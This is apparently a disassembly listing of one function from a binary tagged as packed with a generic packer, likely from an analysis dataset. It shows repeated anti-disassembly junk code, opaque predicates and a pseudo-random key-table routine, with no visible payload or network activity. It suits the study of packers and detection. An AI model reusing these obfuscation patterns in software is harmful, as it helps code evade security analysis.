Function at 0x683678
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6bcec8
push 0x694af0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, 0x1ae8
call fcn.006943f0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x2c], 0
push 3
push 0
call fcn.00689a53
add esp, 8
push 0x6b8d30
call dword [0x6b807c]
mov dword [ebp - 0x28], eax
push 0x6b8d10
mov eax, dword [ebp - 0x28]
push eax
call dword [0x6b8074]
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
je 0x6836f4
push 1
push 0x100
call dword [ebp - 0xe8]
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 0x6c65696d
xchg ecx, eax
mov ecx, 0xdeadc0de
xchg ecx, eax
not eax
pop eax
not ecx
pop ecx
pushfd
pushal
xor ebx, ebx
je 0x683717
jmp 0x683738
xor ebx, ebx
je 0x68371b
jmp 0x68372a
mov ecx, 0x34f9c987
nop
stc
je 0x68372e
jmp 0x68375e
xor eax, eax
je 0x683720
mov eax, 0x4840c987
test eax, eax
jne 0x683714
jmp 0x92ced49d
popal
popfd
xchg dx, ax
xchg dx, ax
mov eax, eax
mov dword [ebp - 0xdc], 0x94
lea ecx, [ebp - 0xdc]
push ecx
call dword [0x6b81b0]
jo 0x683760
jl 0x68375e
jmp 0x683762
je 0x68375b
jmp 0x68375b
cmp dword [ebp - 0xcc], 2
jne 0x683774
add dh, byte [ebp + 9]
mov byte [0x6bf590], 1
jmp 0x683790
cmp dword [ebp - 0xd8], 4
jne 0x68378b
cmp dword [ebp - 0xd4], 0x5a
jb 0x68378b
call fcn.00689680
call fcn.00689756
xor edx, edx
mov dl, byte [0x6bf590]
test edx, edx
jne 0x6837a2
nop
cmc
imul eax, dword [eax], 0xffffff85
sal byte [ebp + 6], cl
cli
not esp
not esp
sti
mov eax, dword [0x6b83ec]
xor eax, dword [0x6b83e8]
xor eax, dword [0x6b83dc]
and eax, 4
test eax, eax
je 0x6837c1
mov byte [0x6bf551], 1
pushal
xor eax, eax
jne 0x6837c8
jmp 0x6837dd
jmp 0x6837fd
xor eax, eax
jne 0x6837e5
jp 0x6837db
jo 0x6837df
jmp 0x6837e0
jb 0x6837e4
jns 0x6837c9
call dword [0x74097900]
invalid
jns 0x6837e6
je 0x6837cf
jmp 0x683768
xchg ebx, ebx
jp 0x6837d4
mov al, byte [0xf7506133]
ror byte [edi], 1
enter 0x7358, 0
xor esp, dword [ecx + 0x50]
popal
push eax
not eax
bswap eax
pop eax
jae 0x6837ef
pushfd
pushal
jmp 0x68381e
sub edx, edx
jo 0x683804
push cs
jmp 0x683815
xor ecx, ecx
je 0x6837fc
jmp 0x68380e
adc cl, bh
stc
xor ecx, 3
je 0x683794
jmp 0x68380b
jmp 0x683819
jae 0x683807
sbb bl, bl
sbb bl, bl
invalid
xor ebx, ebx
jmp 0x6837fe
jmp 0x6837f8
sbb al, 0xdb
jmp 0x683821
jmp 0x6837f2
popal
popfd
bswap eax
not ecx
bswap eax
not ecx
mov ecx, dword [0x6b83ec]
xor ecx, dword [0x6b83e8]
xor ecx, dword [0x6b83dc]
and ecx, 0x200
test ecx, ecx
je 0x68384e
mov byte [0x6bf553], 1
pushal
xor eax, eax
jne 0x683855
jmp 0x68386a
jmp 0x68388a
xor eax, eax
jne 0x683872
jp 0x683868
jo 0x68386c
jmp 0x68386d
jb 0x683871
jns 0x683856
call dword [0x74097900]
invalid
jns 0x683873
je 0x68385c
jmp 0x6837f5
xchg ebx, ebx
jp 0x683861
mov al, byte [0x6a6133]
xor esp, dword [ecx + 0x6a]
add bh, bh
adc eax, 0x6b8050
popal
push 0
call dword [0x6b8050]
mov edx, dword [0x6b83f8]
xor edx, dword [0x6b83e8]
xor edx, dword [0x6b83e0]
add eax, edx
mov dword [0x6bf564], eax
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 0x6c65696d
xchg ecx, eax
mov ecx, 0xdeadc0de
xchg ecx, eax
not eax
pop eax
not ecx
pop ecx
pushfd
pushal
xor ebx, ebx
je 0x6838b8
loopne 0x68380f
imul eax, dword [eax], 3
ret 0x64a3
jmp 0x6838d9
xor ebx, ebx
je 0x6838bc
jmp 0x6838cb
mov ecx, 0x34f9c987
nop
stc
je 0x6838cf
jmp 0x6838ff
xor eax, eax
je 0x6838c1
mov eax, 0x4840c987
test eax, eax
jne 0x6838b5
jmp 0x92ced63e
popal
popfd
xchg dx, ax
xchg dx, ax
mov eax, eax
mov eax, dword [0x6b83cc]
xor eax, dword [0x6b83bc]
xor eax, dword [0x6b83dc]
add eax, 0xfff
shr eax, 0xc
mov dword [0x6bf578], eax
jo 0x683908
jl 0x683906
jmp 0x68390a
je 0x683903
jmp 0x683903
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x100], 0xffffffff
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 0x6c65696d
xchg ecx, eax
mov ecx, 0xdeadc0de
xchg ecx, eax
not eax
pop eax
not ecx
pop ecx
pushfd
pushal
xor ebx, ebx
je 0x68393e
add ebp, ebx
and ch, bl
jmp 0x68395f
xor ebx, ebx
je 0x683942
jmp 0x683951
mov ecx, 0x34f9c987
nop
stc
je 0x683955
jmp 0x683985
xor eax, eax
je 0x683947
mov eax, 0x4840c987
test eax, eax
jne 0x68393b
jmp 0x92ced6c4
popal
popfd
xchg dx, ax
xchg dx, ax
mov eax, eax
push 0
call fcn.00694c86
add esp, 4
mov esi, eax
call dword [0x6b803c]
xor esi, eax
xor esi, dword [0x6b83e0]
mov dword [ebp - 0x1910], esi
mov ecx, dword [ebp - 0x1910]
mov dword [ebp - 0x320], ecx
pushal
xor eax, eax
jne 0x68399a
invalid
jmp 0x6839af
jmp 0x6839cf
xor eax, eax
jne 0x6839b7
jp 0x6839ad
jo 0x6839b1
jmp 0x6839b2
jb 0x6839b6
jns 0x68399b
call dword [0x74097900]
invalid
jns 0x6839b8
je 0x6839a1
jmp 0x68393a
xchg ebx, ebx
jp 0x6839a6
mov al, byte [0x85c76133]
int3
xor esp, dword [ecx - 0x39]
test esp, ecx
out 0xff, al
inc dword [eax]
add dword [eax], eax
add byte [ebx - 0x31f7b], cl
call [ecx + 0x2710b9]
add bh, dh
stc
popal
mov dword [ebp - 0x1934], 0x100
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1928], eax
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1924], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1930], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x192c], edx
mov ecx, dword [ebp - 0x1924]
imul ecx, dword [ebp - 0x192c]
mov edx, dword [ebp - 0x1928]
imul edx, dword [ebp - 0x192c]
mov eax, dword [ebp - 0x1924]
imul eax, dword [ebp - 0x1930]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x320]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x1934]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x1920], eax
mov dword [ebp - 0x1948], 0x100
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x193c], eax
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1938], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1944], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1940], edx
mov ecx, dword [ebp - 0x1938]
imul ecx, dword [ebp - 0x1940]
mov edx, dword [ebp - 0x193c]
imul edx, dword [ebp - 0x1940]
mov eax, dword [ebp - 0x1938]
imul eax, dword [ebp - 0x1944]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x320]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x1948]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x1914], eax
mov dword [ebp - 0x195c], 0x100
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1950], eax
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x194c], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1958], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1954], edx
mov ecx, dword [ebp - 0x194c]
imul ecx, dword [ebp - 0x1954]
mov edx, dword [ebp - 0x1950]
imul edx, dword [ebp - 0x1954]
mov eax, dword [ebp - 0x194c]
imul eax, dword [ebp - 0x1958]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x320]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x195c]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x1918], eax
mov dword [ebp - 0x1970], 0x100
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1964], eax
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1960], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x196c], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1968], edx
mov ecx, dword [ebp - 0x1960]
imul ecx, dword [ebp - 0x1968]
mov edx, dword [ebp - 0x1964]
imul edx, dword [ebp - 0x1968]
mov eax, dword [ebp - 0x1960]
imul eax, dword [ebp - 0x196c]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x320]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x1970]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x191c], eax
mov edx, dword [ebp - 0x1918]
shl edx, 8
mov eax, dword [ebp - 0x1914]
shl eax, 0x10
mov ecx, dword [ebp - 0x1920]
shl ecx, 0x18
or ecx, eax
or ecx, edx
or ecx, dword [ebp - 0x191c]
mov dword [ebp - 0x38], ecx
jo 0x683d56
jl 0x683d54
jmp 0x683d58
je 0x683d51
jmp 0x683d51
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 0x6c65696d
xchg ecx, eax
mov ecx, 0xdeadc0de
xchg ecx, eax
not eax
pop eax
not ecx
pop ecx
pushfd
pushal
xor ebx, ebx
je 0x683d7b
jmp 0x683d9c
xor ebx, ebx
je 0x683d7f
jmp 0x683d8e
mov ecx, 0x34f9c987
nop
stc
je 0x683d92
jmp 0x683dc2
xor eax, eax
je 0x683d84
mov eax, 0x4840c987
test eax, eax
jne 0x683d78
jmp 0x92cedb01
popal
popfd
xchg dx, ax
xchg dx, ax
mov eax, eax
push eax
not eax
bswap eax
pop eax
jae 0x683dac
pushfd
pushal
jmp 0x683ddb
sub edx, edx
jo 0x683dc1
jmp 0x683dd2
xor ecx, ecx
je 0x683db9
jmp 0x683dcb
stc
xor ecx, 3
je 0x683d51
jmp 0x683dc8
add eax, 0x7410ebb9
out dx, eax
jmp 0x683dd6
jae 0x683dc4
sbb bl, bl
sbb bl, bl
xor ebx, ebx
jmp 0x683dbb
jmp 0x683db5
sbb al, 0xdb
jmp 0x683dde
jmp 0x683daf
popal
popfd
bswap eax
not ecx
bswap eax
not ecx
mov dword [ebp - 0x318], 0xc
jo 0x683dfb
jl 0x683df9
jmp 0x683dfd
je 0x683df6
jmp 0x683df6
mov dword [ebp - 0x314], 0
pushal
xor eax, eax
jne 0x683e0e
jmp 0x683e23
jmp 0x683e43
xor eax, eax
jne 0x683e2b
jp 0x683e21
jo 0x683e25
jmp 0x683e26
jb 0x683e2a
jns 0x683e0f
call dword [0x74097900]
invalid
jns 0x683e2c
je 0x683e15
jmp 0x683dae
xchg ebx, ebx
jp 0x683e1a
mov al, byte [0x85c76133]
invalid
xor esp, dword [ecx - 0x39]
test eax, esi
cld
invalid
popal
mov dword [ebp - 0x310], 1
push eax
not eax
bswap eax
pop eax
jae 0x683e3f
pushfd
pushal
jmp 0x683e6e
sub edx, edx
jo 0x683e54
sal byte [eax + 0xe], cl
jmp 0x683e65
xor ecx, ecx
je 0x683e4c
jmp 0x683e5e
stc
xor ecx, 3
je 0x683de4
jmp 0x683e5b
jmp 0x683e69
jae 0x683e57
sbb bl, bl
sbb bl, bl
xor ebx, ebx
jmp 0x683e4e
jmp 0x683e48
sbb al, 0xdb
jmp 0x683e71
jmp 0x683e42
popal
popfd
bswap eax
not ecx
bswap eax
not ecx
push 0
push 0x1000
push 0
push 4
lea edx, [ebp - 0x318]
push edx
push 0xffffffffffffffff
call dword [0x6b810c]
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
jne 0x683eab
xor al, al
jmp 0x687696
call dword [0x6b8108]
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x324], 0
push 2
push 1
push 0
lea eax, [ebp - 0x324]
push eax
mov ecx, dword [ebp - 0x31c]
push ecx
mov edx, dword [ebp - 0x31c]
push edx
mov eax, dword [ebp - 0x31c]
push eax
call dword [0x6b8104]
push 0x1000
push 0
push 0
push 2
mov ecx, dword [ebp - 0x100]
push ecx
call dword [0x6b8100]
mov dword [0x6bf574], eax
xor edx, edx
mov dl, byte [0x6bf16c]
test edx, edx
je 0x6842af
mov dword [ebp - 0x1994], 0x100
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1988], eax
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1984], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1990], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x198c], edx
mov ecx, dword [ebp - 0x1984]
imul ecx, dword [ebp - 0x198c]
mov edx, dword [ebp - 0x1988]
imul edx, dword [ebp - 0x198c]
mov eax, dword [ebp - 0x1984]
imul eax, dword [ebp - 0x1990]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x320]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x1994]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x1980], eax
mov dword [ebp - 0x19a8], 0x100
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x199c], eax
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1998], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19a4], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19a0], edx
mov ecx, dword [ebp - 0x1998]
imul ecx, dword [ebp - 0x19a0]
mov edx, dword [ebp - 0x199c]
imul edx, dword [ebp - 0x19a0]
mov eax, dword [ebp - 0x1998]
imul eax, dword [ebp - 0x19a4]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x320]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x19a8]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x1974], eax
mov dword [ebp - 0x19bc], 0x100
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19b0], eax
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19ac], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19b8], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19b4], edx
mov ecx, dword [ebp - 0x19ac]
imul ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x19b0]
imul edx, dword [ebp - 0x19b4]
mov eax, dword [ebp - 0x19ac]
imul eax, dword [ebp - 0x19b8]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x320]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x19bc]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x1978], eax
mov dword [ebp - 0x19d0], 0x100
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19c4], eax
mov eax, dword [ebp - 0x320]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19c0], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19cc], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19c8], edx
mov ecx, dword [ebp - 0x19c0]
imul ecx, dword [ebp - 0x19c8]
mov edx, dword [ebp - 0x19c4]
imul edx, dword [ebp - 0x19c8]
mov eax, dword [ebp - 0x19c0]
imul eax, dword [ebp - 0x19cc]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x320]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x19d0]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x197c], eax
mov edx, dword [ebp - 0x1978]
shl edx, 8
mov eax, dword [ebp - 0x1974]
shl eax, 0x10
mov ecx, dword [ebp - 0x1980]
shl ecx, 0x18
or ecx, eax
or ecx, edx
or ecx, dword [ebp - 0x197c]
mov dword [ebp - 0x1af4], ecx
jmp 0x6842b8
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x1af4], edx
mov eax, dword [ebp - 0x1af4]
xor eax, dword [0x6b83bc]
xor eax, dword [0x6b840c]
xor eax, dword [0x6b83d0]
xor eax, dword [0x6b83f0]
xor eax, dword [0x6b83a8]
mov ecx, dword [0x6bf574]
mov dword [ecx], eax
mov edx, dword [0x6bf574]
mov eax, dword [ebp - 0x324]
mov dword [edx + 4], eax
call dword [0x6b81b8]
mov ecx, dword [0x6bf574]
mov dword [ecx + 8], eax
mov edx, dword [0x6bf574]
mov dword [edx + 0x20], 0
mov eax, dword [ebp - 0x100]
push eax
push 0x6b8d0c
lea ecx, [ebp - 0x30c]
push ecx
call fcn.0069497a
add esp, 0xc
lea edx, [ebp - 0x30c]
push edx
push 0x6b8d08
call dword [0x6b8098]
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 0x6c65696d
xchg ecx, eax
mov ecx, 0xdeadc0de
xchg ecx, eax
not eax
pop eax
not ecx
pop ecx
pushfd
pushal
xor ebx, ebx
je 0x68435f
jmp 0x684380
xor ebx, ebx
je 0x684363
jmp 0x684372
mov ecx, 0x34f9c987
nop
stc
je 0x684376
jmp 0x6843a6
xor eax, eax
je 0x684368
mov eax, 0x4840c987
test eax, eax
jne 0x68435c
jmp 0x92cee0e5
popal
popfd
xchg dx, ax
xchg dx, ax
mov eax, eax
mov eax, dword [0x6bf578]
shl eax, 2
push eax
call fcn.00693c51
add esp, 4
mov dword [ebp - 0x18d8], eax
mov ecx, dword [ebp - 0x18d8]
mov dword [0x6bf580], ecx
or eax, 0x6bf580
mov edx, dword [0x6bf578]
shl edx, 4
shl edx, 2
push edx
call fcn.00693c51
add esp, 4
mov dword [ebp - 0x18dc], eax
mov eax, dword [ebp - 0x18dc]
mov dword [0x6bf55c], eax
mov ecx, dword [0x6bf578]
shl ecx, 2
push ecx
call fcn.00693c51
add esp, 4
mov dword [ebp - 0x18e0], eax
mov edx, dword [ebp - 0x18e0]
mov dword [0x6bf584], edx
mov eax, dword [0x6bf578]
shl eax, 2
push eax
call fcn.00693c51
add esp, 4
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x18e4]
mov dword [0x6bf588], ecx
push 0x1000
call fcn.00693c51
add esp, 4
mov dword [ebp - 0x18e8], eax
mov edx, dword [ebp - 0x18e8]
mov dword [0x6bf58c], edx
mov eax, dword [0x6bf578]
shl eax, 2
push eax
call fcn.00693c51
add esp, 4
mov dword [ebp - 0x18ec], eax
mov ecx, dword [ebp - 0x18ec]
mov dword [0x6bf558], ecx
push eax
not eax
bswap eax
pop eax
jae 0x684462
test dword [edi], ebx
invalid
pushfd
pushal
jmp 0x684491
sub edx, edx
jo 0x684477
jmp 0x684488
xor ecx, ecx
je 0x68446f
jmp 0x684481
stc
xor ecx, 3
je 0x684407
jmp 0x68447e
jmp 0x68448c
jae 0x68447a
sbb bl, bl
sbb bl, bl
xor ebx, ebx
jmp 0x684471
jmp 0x68446b
sbb al, 0xdb
jmp 0x684494
jmp 0x684465
popal
popfd
bswap eax
not ecx
bswap eax
not ecx
mov edx, dword [0x6b840c]
xor edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x48], 0
jmp 0x6844bc
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
mov ecx, dword [0x6bf578]
shl ecx, 4
cmp dword [ebp - 0x48], ecx
jge 0x68485d
mov dword [ebp - 0x19f4], 0x100
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19e8], eax
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19e4], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19f0], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19ec], edx
mov ecx, dword [ebp - 0x19e4]
imul ecx, dword [ebp - 0x19ec]
mov edx, dword [ebp - 0x19e8]
imul edx, dword [ebp - 0x19ec]
mov eax, dword [ebp - 0x19e4]
imul eax, dword [ebp - 0x19f0]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x19f4]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x19e0], eax
mov dword [ebp - 0x1a08], 0x100
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19fc], eax
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x19f8], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1a04], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1a00], edx
mov ecx, dword [ebp - 0x19f8]
imul ecx, dword [ebp - 0x1a00]
mov edx, dword [ebp - 0x19fc]
imul edx, dword [ebp - 0x1a00]
mov eax, dword [ebp - 0x19f8]
imul eax, dword [ebp - 0x1a04]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x1a08]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x19d4], eax
mov dword [ebp - 0x1a1c], 0x100
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1a10], eax
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1a0c], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1a18], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1a14], edx
mov ecx, dword [ebp - 0x1a0c]
imul ecx, dword [ebp - 0x1a14]
mov edx, dword [ebp - 0x1a10]
imul edx, dword [ebp - 0x1a14]
mov eax, dword [ebp - 0x1a0c]
imul eax, dword [ebp - 0x1a18]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x1a1c]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x19d8], eax
mov dword [ebp - 0x1a30], 0x100
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1a24], eax
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1a20], edx
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1a2c], eax
mov eax, 0x1df5e0d
cdq
mov ecx, 0x2710
idiv ecx
mov dword [ebp - 0x1a28], edx
mov ecx, dword [ebp - 0x1a20]
imul ecx, dword [ebp - 0x1a28]
mov edx, dword [ebp - 0x1a24]
imul edx, dword [ebp - 0x1a28]
mov eax, dword [ebp - 0x1a20]
imul eax, dword [ebp - 0x1a2c]
add eax, edx
xor edx, edx
mov esi, 0x2710
div esi
mov eax, edx
imul eax, eax, 0x2710
add eax, ecx
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 0x5f5e100
div ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
xor edx, edx
mov ecx, 0x2710
div ecx
imul eax, dword [ebp - 0x1a30]
xor edx, edx
mov ecx, 0x2710
div ecx
and eax, 0xff
mov dword [ebp - 0x19dc], eax
mov edx, dword [ebp - 0x19d8]
shl edx, 8
mov eax, dword [ebp - 0x19d4]
shl eax, 0x10
mov ecx, dword [ebp - 0x19e0]
shl ecx, 0x18
or ecx, eax
or ecx, edx
or ecx, dword [ebp - 0x19dc]
xor ecx, dword [0x6b83bc]
xor ecx, dword [0x6b840c]
xor ecx, dword [0x6b83d0]
xor ecx, dword [0x6b83f0]
xor ecx, dword [0x6b83a8]
mov edx, dword [ebp - 0x48]
mov eax, dword [0x6bf55c]
mov dword [eax + edx*4], ecx
jmp 0x6844b3
pushal
xor eax, eax
jne 0x684864
jmp 0x684879
jmp 0x684899
xor eax, eax
jne 0x684881
jp 0x684877
jo 0x68487b
jmp 0x68487c
jb 0x684880
jns 0x684865
call dword [0x74097900]
invalid
jns 0x684882
je 0x68486b
jmp 0x684804
xchg ebx, ebx
jp 0x684870
mov al, byte [0x45c76133]
xor esp, dword [ecx - 0x39]
inc ebp
popal
mov dword [ebp - 0x48], 0
mov eax, 0
